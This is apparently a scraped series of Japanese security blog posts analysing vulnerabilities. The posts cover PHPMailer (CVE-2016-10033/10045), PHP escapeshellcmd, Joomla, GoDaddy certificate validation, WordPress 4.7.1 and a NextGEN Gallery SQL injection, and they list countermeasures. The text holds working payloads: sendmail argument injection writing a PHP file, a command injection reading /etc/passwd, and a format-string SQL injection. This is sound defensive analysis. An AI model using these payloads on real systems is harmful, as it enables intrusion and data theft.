• PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass

$from = '"a \'  -OQueueDirectory=/tmp  -X/tmp/exploit.php \"a"@example.jp';

-f'"a '\'' -OQueueDirectory=/tmp -X/tmp/exploit.php \"a"@example.jp'

/usr/sbin/sendmail -t -i  -f'\"a '\\'' -OQueueDirectory=/tmp -X/tmp/exploit.php \\"a"@example.jp\'

-f'\"a '
\\
''

影響を受けるMTA

ケーススタディ HASHコンサルティングのウェブサイト

• エンベロープFrom(Senderプロパティ)は固定とになっていて外部から操作できない
• MTAとしてPostfixを使用している

対策

• Senderプロパティを設定しない、あるいは固定にする（強く推奨）
• MTAとしてsendmailを避け、postfixを使用する
• ドキュメントルート下のファイルやディレクトリをPHPスクリプトが動作するユーザから書き込み不可に設定する
• 改ざん検知の仕組みを導入する（緩和策）

まとめ

免責

mb_send_mail関数(mail関数も同様)ですが、第5引数(additional_parameter)にユーザの入力を使用する場合は注意が必要です。mb_send_mail関数の第5引数は、内部でescapeshellcmd(内部関数名:php_escape_shell_cmd)によって引数の文字列全体がエスケープされます。

escapeshellcmd() は、以前に徳丸さんから OS コマンドインジェクションの防止には不適切であると指摘されています。ユーザの入力値を十分にチェックしておかないと、sendmailコマンドに任意のコマンドライン引数を渡されてしまうことになります。

• PHPのescapeshellcmdの危険性
• escapeshellcmdの危険な実例

mb_send_mail()，mail()で第5引数を設定する際の注意点より引用

• 2014年1月6日のアーカイブ（注意書きなし）
• 2014年2月9日のアーカイブ（注意書きあり）

エグゼクティブサマリ

経緯

• 2011/1/1 徳丸が「PHPのescapeshellcmdの危険性」を書いて、クォート文字がペアになっている場合にエスケープしないという仕様が余計なお世話であり、危険性が生じていることを指摘 
• 2011/1/7 大垣さんがブログエントリ「phpのescapeshellcmdの余計なお世話を無くすパッチ」にて修正案を提示 
• 2011/10/23 廣川さんが、大垣さんのパッチ案を少し修正してbugs.php.netに提案。修正案は却下され、マニュアルを修正することに 
• 2011/11/19 escapeshellcmdのマニュアルに引数インジェクションの危険性が追記された 
• 2013/12/23 mail関数のadditional_parametersの危険性について小邨孝明さんがブログ記事にて指摘 
• 2014/1/4 mail関数のマニュアルにadditional_parametersの危険性を追記（大垣さんによる） 
• 2016/12/25 Dawid GolunskiがPHPMailerの脆弱性CVE-2016-10033を公表 

escapeshellcmdはなぜ危険か

<?php
$mail = $_GET['mail'];
$cmd = "/usr/sbin/sendmail -i $mail";
system($cmd);

sample@example.jp; cat /etc/passwd

/usr/sbin/sendmail sample@example.jp; cat /etc/passwd

<?php
$mail = $_GET['mail'];
$cmd = "/usr/sbin/sendmail -i $mail";
$cmd = escapeshellcmd($cmd);
system($cmd);

/usr/sbin/sendmail -i sample@example.jp\; cat /etc/passwd

<?php
$mail = $_GET['mail'];
$cmd = "/usr/sbin/sendmail -i \"$mail\"";
$cmd = escapeshellcmd($cmd);
system($cmd);

/usr/sbin/sendmail -i "sample@example.jp\; cat /etc/passwd"

'および "は、対になっていない場合にのみエスケープされます

-OQueueDirectory=/tmp""-X/tmp/exploit.php""sample@example.jp

/usr/sbin/sendmail -i "-OQueueDirectory=/tmp""-X/tmp/exploit.php""sample@example.jp"

CVE-2016-10033 PoCの巧妙さ

/usr/sbin/sendmail -t -i -fsample@example.jp

• PHPMailerはSenderプロパティに対してRFC準拠のメールアドレスであることを確認している
• sendmail呼び出しの前にescapeshellcmdによるエスケープ処理がなされている
• sendmailコマンドのパラメータチェックを回避する必要がある

"a \" -OQueueDirectory=/tmp  -X/tmp/exploit.php \"a"@example.jp

/usr/sbin/sendmail -t -i  -f"a \\" -OQueueDirectory=/tmp -X/tmp/exploit.php \\"a"@example.jp

-t
-i
-fa \
-OQueueDirectory=/tmp
-X/tmp/exploit.php
\a@example.jp

mail関数はどうすればいいか

escapeshellcmd() が自動的に適用されるため、 インターネット RFC でメールアドレスとして許可さているいくつかの文字を使用することができません。 mail() はそうした文字を許可しないため、プログラム中でそうした文字の使用が必須である場合、 メール送信の代替手段（フレームワークやライブラリの使用など）が推奨されます。
PHP: mail - Manual より引用

まとめ

試してみる

mysql> show create table  dnbd5_users;
CREATE TABLE `dnbd5_users` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL DEFAULT '',
  `username` varchar(150) NOT NULL DEFAULT '',
   ... 省略
) ENGINE=InnoDB AUTO_INCREMENT=685 DEFAULT CHARSET=utf8

mysql> SELECT id, name, username, email FROM dnbd5_users where username='admin';
+-----+------------+----------+------------------+
| id  | name       | username | email            |
+-----+------------+----------+------------------+
| 683 | Super User | admin    | alice@example.jp |
| 684 | bob        | admin    | bob@example.jp   |
+-----+------------+----------+------------------+
2 rows in set (0.00 sec)

セキュリティ上の影響はないのか

• 攻撃者がセルフサービスでadmin🍣ユーザーを登録し、結果としてadminとして登録される
• 攻撃者がユーザー=admin、パスワード=自分の登録したパスワードでログインする
• 攻撃者の権限がSuper Userのものとなる

SELECT id, password FROM dnbd5_users WHERE username='admin'

Joomla! 3.5以降の対応

アップグレードではどうなるか?

まとめ

エグゼクティブサマリ

概要

In a typical process, when a certificate authority, like GoDaddy, validates a domain name for an SSL certificate, they provide a random code to the customer and ask them to place it in a specific location on their website. When their system searches and finds the code, the validation is complete.

However, when the bug was introduced, certain web server configurations caused the system to provide a positive result to the search, even if the code was not found.

Information about SSL bug - The Garageより引用

• 悪人は、GoDaddyのコントロールパネルからwww.google.comのサーバー証明書を要求する
• コントロールパネルがランダムなコード（以下、例としてtR7PasZyを用います）を発行し、利用者に http://www.google.com/tR7PasZy.html を作成して、その中にtR7PasZyというコードを含めるように要求する
• 悪人は、実際には上記のページを設置できないが、設置したという報告をコントロールパネル上で行う
• GoDaddyの認証システムは、http://www.google.com/tR7PasZy.html からコードを読み取ろうとする。この際の表示は下記となる（ステータス404）

<!DOCTYPE html>
<html lang=en>
<meta charset=utf-8>
<meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">
<title>Error 404 (Not Found)!!1</title>
<style> …省略…  </style>
<a href=//www.google.com/><span id=logo aria-label=Google></span></a>
<p><b>404.</b> <ins>That’s an error.</ins>
<p>The requested URL <code>/tR7PasZy.html</code> was not found on this server.  <ins>That’s all we know.</ins>

• ステータス404なのに、レスポンス中にコード tR7PasZy が含まれているために、認証は成功してしまう
• 悪人は、www.google.com の証明書を入手できる

GoDaddy社の対応

まとめ

• StartSSLにドメイン認証不備の脆弱性
• グーグル、シマンテックのセキュリティ証明書発行に関するミスに対応など要求

エグゼクティブサマリ

はじめに

• WordPress、更新版で深刻な脆弱性を修正　安全確保のため情報公開を先送り
• Make WordPress Core
• Content Injection Vulnerability in WordPress 4.7 and 4.7.1 - Sucuri Blog

　WordPressではこの問題について、「セキュリティ問題は常に公開されるべきというのがわれわれのスタンスだが、今回のケースでは、何百万というWordPressサイトの安全を保証するため、意図的に公開を1週間先送りした」と説明している。
　この間にSucuriをはじめとするセキュリティ企業と連携し、攻撃が発生した場合でも各社のファイアウォールで防御できる態勢を確立。自動更新を通じてWordPressの更新版が行き渡り、できるだけ多くのユーザーが保護されるのを待ってから、情報を公開したという。

WordPress、更新版で深刻な脆弱性を修正　安全確保のため情報公開を先送りより引用

攻撃の様子

脆弱性の原因

• update_item_permissions_check (権限の確認)
• update_item (コンテンツの変更)

wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php (Ver 4.7.1)

497:  public function update_item_permissions_check( $request ) {
498:    $post = get_post( $request['id'] );
499:    $post_type = get_post_type_object( $this->post_type );
500:    if ( $post && ! $this->check_update_permission( $post ) ) {
501:      return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post...
502:    }
503:    if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && 
             ! current_user_can( $post_type->cap->edit_others_posts ) ) {
504:      return new WP_Error( 'rest_cannot_edit_others', __( 'Sorry, you are not allowed to update ...
505:    }
506:    if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
507:      return new WP_Error( 'rest_cannot_assign_sticky', __( 'Sorry, you are not allowed to make ...
508:    }
509:    if ( ! $this->check_assign_terms_permission( $request ) ) {
510:      return new WP_Error( 'rest_cannot_assign_term', __( 'Sorry, you are not allowed to assign ...
511:    }
512:    return true;
513:  }

523:  public function update_item( $request ) {
524:    $id   = (int) $request['id'];
525:    $post = get_post( $id );
526:    if ( empty( $id ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
527:      return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) );
528:    }
529:    $post = $this->prepare_item_for_database( $request );
530:    if ( is_wp_error( $post ) ) {
531:      return $post;
532:    }

WordPress 4.7.2での改修内容

527:  public function update_item_permissions_check( $request ) {
528:    $post = $this->get_post( $request['id'] );
529:    if ( is_wp_error( $post ) ) {
530:      return $post;
531:    }

318:  protected function get_post( $id ) {
319:    $error = new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) );
320:    if ( (int) $id<= 0 ) {
321:      return $error;
322:    }
323:    $post = get_post( (int) $id );
324:    if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
325:      return $error;
326:    }

教訓

• 入力値のバリデーションにて数値以外のものをエラーとする（推奨）
• 入力時に整数にキャストし、以降の処理では一貫してキャスト後の値を用いる

まとめ

【HASHコンサルティング広告】

エグゼクティブサマリ

はじめに

脆弱なコードと検証

function get_term_ids_for_tags($tags = FALSE)
{
    global $wpdb;
    // If no tags were provided, get them from the container_ids
    if (!$tags || !is_array($tags)) {
        $tags = $this->object->container_ids;
    }
    // Convert container ids to a string suitable for WHERE IN
    $container_ids = array();
    if (is_array($tags) && !in_array('all', array_map('strtolower', $tags))) {
foreach ($tags as $ndx => $container) {   // ※1 タグ検索の IN 句の生成
            $container_ids[] = "'{$container}'";
        }
        $container_ids = implode(',', $container_ids);
    }
    // Construct query
    $query = "SELECT {$wpdb->term_taxonomy}.term_id FROM {$wpdb->term_taxonomy}\n
                  INNER JOIN {$wpdb->terms} ON {$wpdb->term_taxonomy}.term_id = {$wpdb->terms}.term_id\n
                  WHERE {$wpdb->term_taxonomy}.term_id = {$wpdb->terms}.term_id\n
                  AND {$wpdb->term_taxonomy}.taxonomy = %s";
    if (!empty($container_ids)) {
        $query .= " AND ({$wpdb->terms}.slug IN ({$container_ids}) OR {$wpdb->terms}.name IN ({$container_ids}))";
    }
    $query .= " ORDER BY {$wpdb->terms}.term_id";
$query = $wpdb->prepare($query, 'ngg_tag');   // ※2
    // Get all term_ids for each image tag slug
    $term_ids = array();
    $results = $wpdb->get_results($query);
    if (is_array($results) && !empty($results)) {
        foreach ($results as $row) {
            $term_ids[] = $row->term_id;
        }
    }
    return $term_ids;
}

脆弱性の原因

$query string SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
                  INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
                  WHERE wp_term_taxonomy.term_id = wp_terms.term_id
                  AND wp_term_taxonomy.taxonomy = %s
                  AND (wp_terms.slug IN ('aaa%s') OR wp_terms.name IN ('aaa%s')) ORDER BY wp_terms.term_id

 実はこのエラーを回避する方法があります。%sの代わりに、%1$sを指定するのです。これは、書式文字列上の位置に関わらず1番目のパラメータを受けるという意味です。

$query string SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
                  INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
                  WHERE wp_term_taxonomy.term_id = wp_terms.term_id
                  AND wp_term_taxonomy.taxonomy = 'ngg_tag'

                  AND (wp_terms.slug IN ('aaangg_tag') OR wp_terms.name IN ('aaangg_tag')) ORDER BY wp_terms.term_id

$query string SELECT wp_term_taxonomy.term_id FROM wp_term_taxonomy
                  INNER JOIN wp_terms ON wp_term_taxonomy.term_id = wp_terms.term_id
                  WHERE wp_term_taxonomy.term_id = wp_terms.term_id
                  AND wp_term_taxonomy.taxonomy = %s
                  AND (wp_terms.slug IN ('aaa%1$%s') OR wp_terms.name IN ('aaa%1$%s'))

AND wp_term_taxonomy.taxonomy = '%s' AND (wp_terms.slug IN ('aaa%1$'%s'') OR wp_terms.name IN ('aaa%1$'%s''))

AND wp_term_taxonomy.taxonomy = 'aaangg_tag' AND (wp_terms.slug IN ('aaangg_tag'') OR wp_terms.name IN ('aaangg_tag''))

aaa%1$%s)) or 1=1#

AND wp_term_taxonomy.taxonomy = %s AND (wp_terms.slug IN ('aaa%1$%s)) or 1=1#') OR wp_terms.name IN ('aaa%1$%s)) or 1=1#'))

AND wp_term_taxonomy.taxonomy = '%s' AND (wp_terms.slug IN ('aaa%1$'%s')) or 1=1#') OR wp_terms.name IN ('aaa%1$'%s')) or 1=1#'))

AND wp_term_taxonomy.taxonomy = 'ngg_tag' AND (wp_terms.slug IN ('aaangg_tag')) or 1=1#') OR wp_terms.name IN ('aaangg_tag')) or 1=1#')) ORDER BY wp_terms.term_id

脆弱性は誰のせい?

$db->prepare("SELECT * FROM employee WHERE user=':user'");

$wpdb->prepare("SELECT * FROM employee WHERE user='user%s'");

$wpdb->prepare("SELECT * FROM employee WHERE user='%s'");

$query = str_replace( "'%s'", '%s', $query ); // 間違ってプレースホルダをクォートしている場合に対処
$query = str_replace( '"%s"', '%s', $query ); // 同上（ダブルクォートの場合）
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // ロケールの影響を避けるため浮動小数点数をクォートする
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // 文字列のプレースホルダをクォートするが、%%sはクォートしない

対策

いったんまとめ

wpdb::prepareはどのように使えばよいか?

BEFORE : wp_terms.slug IN ('foo', 'bar', 'baz')
AFTER : wp_terms.slug IN (%s, %s, %s)

まとめ

$ sqlite3 test.db
sqlite> CREATE TABLE a(a integer);
sqlite> INSERT INTO a VALUES(1);
sqlite> SELECT * FROM a;
1
sqlite>

sqlite> SELECT 'a', "a", [a], `a`, "aa" FROM 'a'

sqlite> SELECT 'a', "a", [a], `a`, "aa" FROM 'a';
a|1|1|1|aa
sqlite>

For resilience when confronted with historical SQL statements, SQLite will sometimes bend the quoting rules above:

• If a keyword in single quotes (ex: 'key' or 'glob') is used in a context where an identifier is allowed but where a string literal is not allowed, then the token is understood to be an identifier instead of a string literal.

• If a keyword in double quotes (ex: "key" or "glob") is used in a context where it cannot be resolved to an identifier but where a string literal is allowed, then the token is understood to be a string literal instead of an identifier.

SQLite Query Language: SQLite Keywordsより引用

SQLite はなんてすごいんだ! 僕達の気持ちをここまでくんでくれるなんて!!

追記(20:35)

SELECT * FROM users WHERE "token" = $token

SELECT * FROM users WHERE "tokem" = $token